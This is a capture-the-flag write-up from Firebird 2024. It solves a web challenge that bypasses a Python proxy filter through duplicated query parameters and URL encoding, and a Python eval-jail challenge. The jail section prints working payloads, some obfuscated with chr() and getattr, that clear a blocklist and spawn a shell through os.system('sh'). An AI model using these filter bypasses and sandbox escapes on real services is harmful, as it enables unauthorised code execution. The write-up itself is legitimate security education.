---
# System prepended metadata

title: Firebird 2024 Writeup

---

# infantwaf  (Web, 399 pts, 14 solves)

Description:
> [babywaf](https://blog.arkark.dev/2023/12/28/seccon-finals/#web-babywaf) is too hard, perhaps you want [infantwaf](http://ash-chal.firebird.sh:36003/) instead.

[Attachment](https://ash-files.firebird.sh/03/infantwaf_TEPP5vNz98sahZyNRlCOe43L4ZOUMqOVqqX31QRv.tar.gz)

## Context
We are given the source files for a web server consisting of two parts:
1. PHP webserver ('backend')
2. Python http webserver ('proxy')

We are only able to connect to the Python HTTP server, and the flag is only read by the PHP webserver. By looking at the code, we can see that the Python webserver directly forwards the HTTP request to the PHP webserver ('backend') when the `giveme` GET parameter is set to `proxy` in the HTTP request:
```python
@app.route('/', methods=['GET'])
def proxy():
    q = request.args.get('giveme')
    if q is not None:
        if q != 'proxy':
            return '🈲'
        elif 'flag' in request.query_string.decode():
            return '🚩'
        else:
            return get(f'{upstream}/?{request.query_string.decode()}').content
    else:
        with open("index.html", "r") as fp:
            out = fp.read()
        return render_template_string(out, text_rot=uniform(-5.0, 5.0), button_rot=uniform(-15.0, 15.0), button_trans=uniform(0.0, 10.0))
```
Now we look at the code of the 'backend':
```php=
<?=(isset($_GET["giveme"]) && $_GET["giveme"] === "flag") ? getenv("FLAG") : "🤔";?>
```
The PHP webserver returns the flag if the `giveme` parameter is set to `flag`. But looking at the Python code, if the string `flag` exists in the GET request, the Python code will simply return the flag emoji and not forward our request to the PHP 'backend', leaving us with no flag. How can we have *flag* and not have *flag* at the same time?

## Insights
The solution has to make use of two properties of the two webservers.

1. Handling of repeated parameters
    This bug might not be easily searched on Google, but it is quite easy to understand. It works on Python and PHP parsing the query string differently. When Python parses the string, it reads the query string from left to right, taking the first occurence found. PHP works similarly, but parses *from right to left*. Two methods produce consistent results when the parameter only appears once, but if they appear repeatedly, Python will take the left one and PHP will take the right one. For example:
    ```
    http://getme.com/?giveme=flag&giveme=proxy
    ```
    Using `request.args.get('giveme')` in Python will give `flag`, but `$_GET` in PHP will give `proxy`. This bug lets us put in different `giveme` for the 'proxy' and 'backend' to handle.

2. URL encoding processing in PHP
    When looking at the [PHP manual for `$_GET`](https://www.php.net/manual/en/reserved.variables.get.php), there is a little note close to the end of the page:
    > Note:
    > The GET variables are passed through urldecode().
    
    Very handy! We can now encode any string we don't want Python to see into URL encoding, and pass it to 'backend'.
    
## Solution
Combining the two, we arrive at this request:
```
http://ash-chal.firebird.sh:36003/?giveme=proxy&giveme=%66%6c%61%67
```
Python will interpret the first `giveme` (i.e. `proxy`) and the PHP will `urldecode` the second `giveme` and give `flag`.
Sending this gives the flag:
||`firebird{1t_1s_def1n1teLy_n0t_4_p4yback_fr0m_secc0n_fin4ls}`||

# Return of Python 1+1+0.633 (misc, 8 solves, 723 pts)
Description:
> Per ardua ad astra
> 
> Altiora petamus
> 
> Volente Deo
> 
> Lucete Stellae
> 
> nc ash-chal.firebird.sh 36004
> Note: Perhaps you want to try the easy version and the easier version if you haven't.

Not-a-hint:
> Reference for Return of Python 1+1+0.633
> **This is not a hint.** If you are trying the easier versions of Return of Python 1+1+0.633, please consider the following writeup for your own reference. Note that both payloads won't work in Return of Python 1+1+0.633.
> 
> For Python 1+1:
> ```python
> __import__("os").system("sh")
> ```
> For Python 1+1+0.633:
> ```python
> setattr(__import__("__main__"), "blocklist", "")
> __import__("os").system("sh")
> ```

## Insights
Since this is named **Return of**, we might as well look at the previous generations of the challenge. Luckily, Jacky from our team is in HKUST and got his hands on the source code for the previous challenge:
```python
import random
import sys

def check(s):
    for b in blocklist:
        if str(s).find(blocklist[b]) > -1:
            return b
    return None

blocklist = {
    "fullstop": ".",
    "back_slash": "\\",
    "open_square_bracket": "[",
    "close_square_bracket": "]",
    "open_curly_bracket": "{",
    "close_curly_bracket": "}",
    "colon": ":"
}
DISABLE_FUNCTIONS = ["getattr", "eval", "help", "input"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

print "If you solve 100 of these equations, I'll give you the flag again :)"

for i in range(100):
    if i >= 50:
        if random.randint(1, 50) > 47:
            san = raw_input("Sanity Check: Are you a human? [y/n] ")
            b = check(san)
            if b is not None:
                raise BaseException("Attack attempt detected! \"{}\", try harder.".format(blocklist[b]))
            if san.lower() != 'y':
                print "Cheating is not allowed!"
                sys.exit()

    a = random.randint(-0xff,0xff)
    b = random.randint(-0xff,0xff)
    op = random.choice(["*","+","-"])
    try:
        eq = str(a)+op+str(b)
        user = raw_input(eq+"\n")
        b = check(user)
        for i in range(3):
            if b is not None:
                raise BaseException("Attack attempt detected! \"{}\", try harder.".format(blocklist[b]))
            if eval(user, DISABLE_FUNCTIONS) == eval(eq):
                break
            else:
                if i == 2:
                    raise BaseException("You have made too many mystiz. Bye.")
                user = raw_input("Wrong answer, try harder." + "\n")
                b = check(user)
    except Exception as e:
        print e
        print "Wrong. Bye!"
        sys.exit()
                    
print "Again. Trust no one :) Thx for playing.
```
`netcat`ting to the challenge, you can see that the interface of this **Return** challenge is very similar to the old one. So our guess is that this challenge, like the last one, is also a `eval` jailbreak challenge. (You can see it uses `eval` to evaluate the math expression that you input: `eval(user, DISABLE_FUNCTIONS) == eval(eq)` (of course, we don't comply with this rule))

These challenges have no intended solutions (officially stated by the author), so you can do anything you can. In CTF, if you can do anything, you do one thing: spawn a shell. So it comes down to finding an expression that spawns a shell.

The standard way is the call `os.system('sh')`, but we have no `os`. To get `os` we import `os`, but there is no `import` in `eval`. There is an odd feature that lets you use import as a function, but trying that you can see that it's banned. What should we do?

## Solution
There is no intended solution here, so rather, this is *my solution*.
I took some inspiration from the not-a-hint:
```python
setattr(__import__("__main__"), "blocklist", "")
__import__("os").system("sh")
```
The first line clears the blocklist for functions (i.e. unbanning the functions), and the second line spawns a shell. This one basically everything we wanted it to do, except

1. quotation marks (`''`, `""`)
2. dot (`.`) operator
3. curly and square brackets (`{}`, `[]`)

are blocked this time. We can modify the code above to get around the banning, and we can arrive at a working solution. Here is what I ended up with:
```python
len(str(setattr(__import__(chr(0x5f)+chr(0x5f)+chr(0x6d)+chr(0x61)+chr(0x69)+chr(0x6e)+chr(0x5f)+chr(0x5f)), chr(0x44)+chr(0x49)+chr(0x53)+chr(0x41)+chr(0x42)+chr(0x4c)+chr(0x45)+chr(0x5f)+chr(0x46)+chr(0x55)+chr(0x4e)+chr(0x43)+chr(0x54)+chr(0x49)+chr(0x4f)+chr(0x4e)+chr(0x53), dict())))-<value of ans-4 here>
getattr(__import__(chr(0x6f)+chr(0x73)), chr(0x73)+chr(0x79)+chr(0x73)+chr(0x74)+chr(0x65)+chr(0x6d))(chr(0x73)+chr(0x68))
```

Which evaluates to:
```python
len(str(setattr(__import__('__main__'), 'DISABLE_FUNCTIONS', dict())))-<value of ans-4 here>
getattr(__import__('os'), 'system')('sh')
```
It is functionally idential to the solution of *Python 1+1+0.633*, except we get around the banned operators. 

1. Strings
    Strings are exactly numbers, and `ord` function is not blocked here. So we can replace all the strings with a concatenation of characters from `ord`[^1], e.g.:
    ```
    'os' -> ord(0x6f) + ord(0x73)
    ```
2. Curly Braces
    Replacing it with `dict()` does the trick.
3. Dot operator
    Use the `getattr` function instead to get the `system` function from `os`.
4. Math test
    This code has two lines. Once we failed the math test, we lost this session and blocklist is reset again. This is not javascript, so no joining two lines of code together.

    To solve this I use the `str` function to convert `None` into a string, then use the `len` function to convert the `None` returned by `setattr` to an integer number. Then we can easily add/subtract it to pass the ~~vibe check~~ math test. `len(None)` evaluates to 4, so we just add the whole thing by the answer of the math expression subtract by 4.

And there we have it. Shell spawned, `readflag`.
flag: ||`firebird{wh0_st1ll_uses_py7h0n_2_t0d4y???}`||

P.S. Here is a solution from Firebird CTF Discord (credit: *[Win or Mushroom] 650*):
```python
setattr(__import__("__main__"),"eq","""__import__("os")%csystem("%cr*")"""%(0x2e,0x2f))
```

# MoonBlast (Binary, 6 solves, 824 pts)
*It is too long, I will leave this for next time :)*

[^1]: Don't do this by hand. Write a little script to do this for you.
